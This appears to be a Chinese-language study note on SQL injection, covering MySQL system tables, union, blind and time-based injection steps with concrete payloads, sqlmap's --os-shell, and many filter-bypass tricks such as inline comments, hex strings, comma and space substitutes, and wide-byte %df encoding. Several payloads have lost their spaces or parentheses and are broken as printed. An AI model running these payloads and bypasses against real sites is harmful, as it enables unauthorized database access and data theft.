sql注入介绍: 数据库简介: 数据库查询和设计语言,用于存取数据以及查询;常见数据库mysql;mongodb;grepsql
SQL语句: 1 insert into user(id,username,password) values(xx,'xx','xx')
1 2 3 语法: DELETE FROM 表名称 WHERE 列名称 = 值 DELETE * FROM 表名称
1 2 3 4 内嵌注入: /*!/*!*/ /* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
1 2 3 describe mysql -uroot -p
MySQL基础: MySQL系统表: 1 2 3 4 5 6 7 8 9 10 information_schema -.Schemata -shcema_name -.Tables -table_name -table_schema -.Columns -table_schema -table_name -column_name
注入 注入原理 由于web应用程序对用户输入的数据合法性判断不严格,将恶意的sql命令注入到程序后台并在数据库中执行。
注入危害: 获取敏感信息;可以使用万能密码登录网站后台;执行系统命令;文件系统操作;注册表操作;
注入判断: 根据返回包的显示结果吧
分类 参数类型: 数字型
1 2 $sql="select name from users where id =1" 参数没有被引号包裹
字符型
1 2 $sql="select name from users where id='1'" 参数被'或是"包裹起来
搜索型
1 2 $sql="select * from users where name like '%tom%' 搜索项相对字符型多了一对%
数据库返回结果分类: 1.回显注入
2.盲注
3.报错注入
注入点位置分类: 1.get
2.post
3.header
4.cookie
…..等等
利用: get显错注入流程 1 2 3 4 5 6 7 8 1 .获取字段数 order by 2 .获取显示位 union select 1 ,2,3....x 3 .获取数据库信息 version()user()@@datadir 4 .获取当前数据库 database()schema() 5 .获取所有数据库 6 .获取数据库表 7 .获取所有字段 8 .获取数据
盲注基本流程 1 2 3 4 5 6 7 8 9 10 01 、获取当前数据库长度length 02 、获取当前数据库名 03 、获取当前数据库表总数count 04 、获取当前数据库表的长度 05 、获取当前数据库表名 06 、获取当前数据库表的字段总数 07 、获取当前数据库表的字段第N个长度 08 、获取当前数据库表的字段第N个字段名 09 、获取当前数据库表的字段内容长度 10 、获取当前数据库表的字段内容
前置知识 逻辑运算符 1 2 3 4 5 6 7 8 9 10 逻辑运算符:and、or、!= and:并且,前后两条语句必须全为真,才为真,否则为假。 1=1 and 2=2 真 1=1 and 1=2 假 or:或者,前后两条语句一条为真,就为真。 != :不等于 在sql语言中,and优先级大于or
misc 1 2 3 4 5 6 7 8 9 10 --+ 注释符 limit 0 ,1 从你表中的第一个数据开始,只读取一个 order by 排序,判断字段数量,也就是表的列数 union select 联合查询,连接前面语句,起着合并查询的作用 group_concat 合并多行数据到一行 version() 当前数据库版本 database() 当前数据库 @@datadir 数据库数据路径 @@version_compile_os 操作系统版本
字符截取 1 2 3 4 5 6 在sql里面直接执行,需要先use 【指定的数据库】; select mid(database(),1,1) select substr(database(),1,1)
计算字符的ASCII值 1 2 3 4 5 6 7 8 9 10 11 select ascii('hello'); select ord('hello'); CyberChef:加密解密 select ascii(substr(database(),1,1)); select ord(substr(database(),1,1)); select ascii(substr(database(),1,1))>97; select ord(substr(database(),1,1))>97;
长度 1 2 select length(database());
计算行数 1 2 select count(username) from users;
left,right 1 2 3 4 5 select left(database(),1); select right(database(),1);
concat( str1, str2…. str n ) 1 2 3 4 用来连接两个字段 和它类似的是 concat(ch,str1,str2...strn) 将多个字符串用ch分隔并连接起来
group_concat() 1 使用group_concat()可以将多行数据合并成一行
实际过程之联合注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1.判断注入点 #这里的'实际上是用来闭合的,如果是数字型那可能就没有,也可能是)啊什么的;字符型的话就可能是' ') " ") ")),爱,按实际情况来就好; id=1' and 1=1 --+ 页面未返回内容 id=1' and 1=2 --+ 2获取当前数据长度 id=1' and length(database())=8--+ 3获取当前数据库 id=1' and left((database()),1)='s'--+ 获取第一位,第二位....第八位 4获取当前数据库总表数 id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+ 5获取数据表的长度 # 第一个数据库表长度 id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+ # 第二个数据库表长度 id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+ 6获取当前数据库下的表名 id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+
实际过程之报错注入 实际过程之盲注入 1 2 3 4 5 6 7 1.判断注入点 id=1' and 1=1 --+ id=1' and 1=2 --+ 2.获取当前数据库长度(8) id=1' and length(database())=8--+ 3.获取当前数据库名字(security) id=1' and left((database()),1)='s'--+
SQLMAP —os-shell原理 必要条件:1.拥有写入权限;2.secure_file_priv参数为空或者为指定路径
普通注入—os-shell主要是通过上传一个sqlmap的马,然后通过马来进行命令执行
SQLMAP检测注入
1 python sqlmap.py --os-shell
绕过空格(注释符/ /,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格:
1 %20%09%0a %0b %0c %0d %a0/**/
最基本的绕过方法,用注释替换空格:
/注释 /
括号绕过空格: 如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
1 select(user())fromdualwhere(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
1 ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
引号绕过(使用十六进制 ): 会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 selectcolumn_namefrominformation_schema.tableswheretable_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制 来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
1 selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
逗号绕过(limit使用from或者offset )(substr使用from for属于逗号): 在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
1 select substr(database(0from1for1);select mid(database(0from1for1);
对于limit可以使用offset来绕过:
1 2 select*fromnews limit0,1 select*fromnews limit1offset0
比较符号(<>)绕过(使用greatest() ): 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
1 select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
1 select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
or and 绕过: 绕过注释符号(#,—)过滤: 1 id=1'union select 1 ,2,3||'1
最后的or ‘1闭合查询语句的最后的单引号,或者:
1 id=1'union select 1 ,2,'3
=绕过: 绕过union,select,where等: (1)使用注释符绕过: 1 2 3 4 常用注释符: //,-- , /**/, 用法: U/**/NION/**/SE/**/LECT/**/user,pwd from user
(2)使用大小写绕过: (3)内联注释绕过: 1 id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#
(4) 双关键字绕过: 1 id=-1'UNIunionONSeLselectECT1,2,3–-
通用绕过(编码): 1 2 如URLEncode编码,ASCII,HEX,unicode编码绕过: or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
等价函数绕过: 1 2 3 4 5 6 7 8 9 10 11 hex()、bin()==>ascii() sleep()==>benchmark() concat_ws()==>group_concat() mid()、substr()==>substring() @@user==>user() @@datadir==>datadir() 举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者: substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1
宽字节注入: 过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为/ \’ 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
1 id=-1%df%27union select 1 ,user(),3--+
(2)将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1 2 3 4 5 6 7 8 9 10 11 1. replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式) 3. mysql_real_escape_string():转义下列字符: \x00 \n \r \'" \x1a (防御,将mysql设置为gbk即可)